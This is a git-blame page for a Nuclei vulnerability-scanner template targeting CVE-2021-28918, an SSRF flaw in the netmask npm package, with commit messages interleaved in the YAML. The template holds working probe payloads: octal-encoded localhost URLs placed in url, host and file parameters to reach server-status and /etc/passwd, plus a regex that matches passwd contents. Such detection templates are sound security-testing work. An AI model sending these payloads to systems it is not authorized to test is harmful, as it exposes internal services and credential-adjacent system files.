daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2021/CVE-2021-28918.yaml

40 lines
1.3 KiB
YAML
Raw Normal View History

Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
id: CVE-2021-28918
info:
few fixes
2021-09-03 07:40:35 +00:00
name: Netmask NPM Package SSRF
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
author: johnjhacking
minor update
2021-07-06 07:11:16 +00:00
severity: critical
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote
unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
few fixes
2021-09-03 07:40:35 +00:00
reference:
Update CVE-2021-28918.yaml
2021-09-03 07:44:24 +00:00
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 9.1
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2021-28918
cwe-id: CWE-20
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2021,npm,netmask,ssrf,lfi
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
minor update
2021-07-06 07:11:16 +00:00
few fixes
2021-09-03 07:40:35 +00:00
stop-at-first-match: true
matchers-condition: or
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
matchers:
- type: word
Fixing Trailing Spaces As stated.
2021-07-06 07:05:03 +00:00
part: body
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
words:
- "Apache Server Status"
Update CVE-2021-28918.yaml Fixing trailing spaces.
2021-07-06 07:03:18 +00:00
- "Server Version"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
condition: and
few fixes
2021-09-03 07:40:35 +00:00
- type: regex
regex:
- "root:.*:0:0:"